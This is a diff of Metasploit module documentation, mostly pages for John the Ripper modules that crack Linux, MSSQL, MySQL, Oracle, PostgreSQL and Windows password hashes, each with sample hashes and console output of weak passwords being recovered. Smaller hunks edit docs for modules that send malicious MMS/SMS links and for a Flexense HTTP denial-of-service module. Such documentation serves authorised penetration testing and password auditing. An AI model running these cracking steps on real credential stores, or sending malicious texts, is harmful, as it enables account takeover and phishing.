creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256,crypt
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512,crypt
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_linux
msf5 auxiliary(analyze/jtr_linux) > set crypt true
crypt => true
msf5 auxiliary(analyze/jtr_linux) > run
[*] Hashes Written out to /tmp/hashes_tmp20190211-5021-hqwf2h
[*] Wordlist file written out to /tmp/jtrtmp20190211-5021-1ixz59k
[*] Cracking md5crypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] md5_password:password
[*] Cracking descrypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] des_password:password
[*] Cracking bsdicrypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] bsdi_password:password
[*] Cracking crypt hashes in normal wordlist mode...
Warning: hash encoding string length 20, type id #4
appears to be unsupported on this system; will not load such hashes.
Warning: hash encoding string length 60, type id $2
appears to be unsupported on this system; will not load such hashes.
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] des_password:password
[+] md5_password:password
[+] sha256_password:password
[+] sha512_password:password
[*] Cracking bcrypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] blowfish_password:password
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_linux) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
bsdi_password password Password
des_password password Password
sha256_password $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 Nonreplayable hash sha256,crypt
md5_password password Password
md5_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
bsdi_password _J9..K0AyUubDrfOgO4s Nonreplayable hash bsdi
sha512_password password Password
blowfish_password $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe Nonreplayable hash bf
sha512_password $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 Nonreplayable hash sha512,crypt
sha256_password password Password
des_password rEK1ecacw.7.c Nonreplayable hash des
blowfish_password password Password
```
@@ -1,157 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Microsoft
SQL based password hashes, such as:
* `mssql` based passwords
* `mssql05` based passwords
* `mssql12` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `mssql`, `mssql05` or `mssql12` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_mssql_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_mssql_fast
msf5 auxiliary(analyze/jtr_mssql_fast) > run
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-u353o8
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-hcwr36
[*] Cracking mssql05 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mssql05_toto:toto
[+] mssql_foo:foo
[+] mssql05_toto:toto
[+] mssql_foo:foo
[*] Cracking mssql hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mssql hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mssql hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mssql_foo:FOO
[+] mssql_foo:FOO
[*] Cracking mssql12 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mssql12_Password1!:Password1!
[+] mssql12_Password1!:Password1!
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_mssql_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mssql05_toto toto Password
mssql05_toto 0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 Nonreplayable hash mssql05
mssql_foo FOO Password
mssql_foo foo Password
mssql_foo 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 Nonreplayable hash mssql
mssql12_Password1! Password1! Password
mssql12_Password1! 0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 Nonreplayable hash mssql12
```
@@ -1,139 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode MySQL
based password hashes, such as:
* `mysql` (pre 4.1) based passwords
* `mysql-sha1` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `mysql`, or `mysql-sha1` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_mysql_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql
creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_mysql_fast
msf5 auxiliary(analyze/jtr_mysql_fast) > run
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-o7pt47
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-3t366y
[*] Cracking mysql hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mysql hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mysql hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mysql_probe:probe
[*] Cracking mysql-sha1 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mysql-sha1 hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mysql-sha1_tere:tere
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_mysql_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mysql_probe probe Password
mysql_probe 445ff82636a7ba59 Nonreplayable hash mysql
mysql-sha1_tere tere Password
mysql-sha1_tere *5AD8F88516BD021DD43F171E2C785C69F8E54ADB Nonreplayable hash mysql-sha1
```
@@ -1,168 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode oracle
based password hashes, such as:
* `oracle` (<=10) aka `des` based passwords
* `oracle11` based passwords
* Oracle 11 and 12c backwards compatibility `H` field (MD5)
* `oracle12c` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
For a detailed explanation of Oracle 11/12c formats, see
[www.trustwave.com](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/changes-in-oracle-database-12c-password-hashes/).
Oracle 11/12c `H` field is `dynamic_1506` in JtR and added
[here](https://github.com/magnumripper/JohnTheRipper/commit/53973c5e6eb026ea232ba643f9aa20a1ffee0ffb)
## Verification Steps
1. Have at least one user with an `oracle`, `oracle11`, or `oracle12c` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_oracle_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle
creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle
creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_oracle_fast
msf5 auxiliary(analyze/jtr_oracle_fast) > run
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-v6a8wg
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-123367o
[*] Cracking oracle hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking oracle hashes in single mode...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[+] simon:A
[+] SYSTEM:THALES
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-1skc10b
[*] Cracking dynamic_1506 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking dynamic_1506 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-1qwsyoy
[*] Cracking oracle11 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking oracle11 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[+] DEMO:epsilon
[+] oracle11_epsilon:epsilon
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-1f9piv4
[*] Cracking oracle12c hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking oracle12c hashes in single mode...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[+] oracle12c_epsilon:epsilon
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_oracle_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
simon A Password
simon 4F8BC1809CB2AF77 Nonreplayable hash des,oracle
SYSTEM THALES Password
SYSTEM 9EEDFA0AD26C6D52 Nonreplayable hash des,oracle
DEMO epsilon Password
DEMO S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle11_epsilon epsilon Password
oracle11_epsilon S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C Nonreplayable hash raw-sha1,oracle
oracle12c_epsilon epsilon Password
oracle12c_epsilon H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B Nonreplayable hash pbkdf2,oracle12c
```
@@ -1,131 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode PostgreSQL
based password hashes, such as:
* `postgres` based passwords
* `raw-md5` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
PostgreSQL is a `raw-md5` format with the username appended to the password. This format was
added to JtR as `dynamic_1034` [here](https://github.com/magnumripper/JohnTheRipper/commit/e57d740bed5c4f4e40a0ff346bcdde270a8173e6)
## Verification Steps
1. Have at least one user with an `postgres`, or `raw-md5` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_postgres_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_postgres_fast
msf5 auxiliary(analyze/jtr_postgres_fast) > run
[*] Hashes written out to /tmp/hashes_tmp20190211-6421-1hooxft
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-1hv6clq
[*] Cracking dynamic_1034 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking dynamic_1034 hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked passwords this run:
[+] example:password
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_postgres_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
example md5be86a79bf2043622d58d5453c47d4860 Postgres md5 raw-md5,postgres
example password Password
```
@@ -1,158 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Windows
based password hashes, such as:
* `LM`, or `LANMAN` based passwords
* `NT`, `NTLM`, or `NTLANMAN` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `nt` or `lm` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_windows_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C jtr:lm
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_windows_fast
msf5 auxiliary(analyze/jtr_windows_fast) > run
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-koittz
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-1v82lkm
[*] Cracking lm hashes in normal wordlist mode...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-02-11 19:34) 0g/s 1177Kp/s 1177Kc/s 1177KC/s PLANO..VAGRANT
Session completed
[*] Cracking lm hashes in single mode...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:02 DONE (2019-02-11 19:34) 0g/s 4634Kp/s 4634Kc/s 4634KC/s WAC1907..E1900
Session completed
[*] Cracking lm hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-02-11 19:34) 0g/s 41152Kp/s 41152Kc/s 41152KC/s 0766269..0769743
Session completed
[*] Cracked Passwords this run:
[+] lm_password:password
[*] Cracking nt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking nt hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking nt hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] lm_password:password
[+] nt_password:password
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_windows_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
lm_password password Password
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
nt_password password Password
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
```
@@ -1,10 +1,12 @@
## Vulnerable Application
The ```auxiliary/client/mms/send_mms``` module allows you to send a malicious attachment to a
collection of phone numbers of the same carrier.
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
mail services such as Gmail, Yahoo, Live should work fine.
## Module Options
## Options
**CELLNUMBERS**
@@ -74,7 +76,7 @@ in order to receive the text, such as AT&T.
The MMS subject. Some carriers require this in order to receive the text, such as AT&T.
## Supported Carrier Gateways
### Supported Carrier Gateways
The module supports the following carriers:
@@ -84,14 +86,14 @@ The module supports the following carriers:
* Verizon
* Google Fi
## Finding the Carrier for a Phone Number
### Finding the Carrier for a Phone Number
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
how to identify the carrier of a phone number. There are many services that can do this, such as:
http://freecarrierlookup.com/
## Gmail SMTP Example
### Gmail SMTP Example
Gmail is a popular mail server, so we will use this as a demonstration.
@@ -111,7 +113,7 @@ After creating the application password, configure auxiliary/client/mms/send_mms
And you should be ready to go.
## Yahoo SMTP Example
### Yahoo SMTP Example
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
so we will demonstrate as well.
@@ -136,7 +138,7 @@ After configuring your Yahoo account, configure auxiliary/client/mms/send_mms th
And you're good to go.
## Demonstration
## Scenarios
After setting up your mail server and the module, your output should look similar to this:
@@ -1,10 +1,12 @@
## Vulnerable Application
The ```auxiliary/client/sms/send_text``` module allows you to send a malicious text/link to a collection
of phone numbers of the same carrier.
In order to use this module, you must set up your own SMTP server to deliver messages. Popular
mail services such as Gmail, Yahoo, Live should work fine.
## Module Options
## Options
**CELLNUMBERS**
@@ -57,7 +59,7 @@ The password you use to log into the SMTP server.
The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```.
## Supported Carrier Gateways
### Supported Carrier Gateways
The module supports the following carriers:
@@ -73,7 +75,7 @@ The module supports the following carriers:
**Note:** During development, we could not find a valid gateway for Sprint, therefore it is currently
not supported.
## Finding the Carrier for a Phone Number
### Finding the Carrier for a Phone Number
Since you need to manually choose the carrier gateway for the phone numbers, you need to figure out
how to identify the carrier of a phone number. There are many services that can do this, such as:
@@ -82,7 +84,7 @@ http://freecarrierlookup.com/
**Note:** If the phone is using Google Fi, then it may appear as a different carrier.
## Gmail SMTP Example
### Gmail SMTP Example
Gmail is a popular mail server, so we will use this as a demonstration.
@@ -100,7 +102,7 @@ After creating the application password, configure auxiliary/client/sms/send_tex
And you should be ready to go.
## Yahoo SMTP Example
### Yahoo SMTP Example
Yahoo is also a fairly popular mail server (although much slower to deliver comparing to Gmail),
so we will demonstrate as well.
@@ -123,7 +125,7 @@ After configuring your Yahoo account, configure auxiliary/client/sms/send_text t
And you're good to go.
## Demonstration
### Scenarios
After setting up your mail server and the module, your output should look similar to this:
@@ -1,14 +1,14 @@
## Description
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
## Vulnerable Application
### Description
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
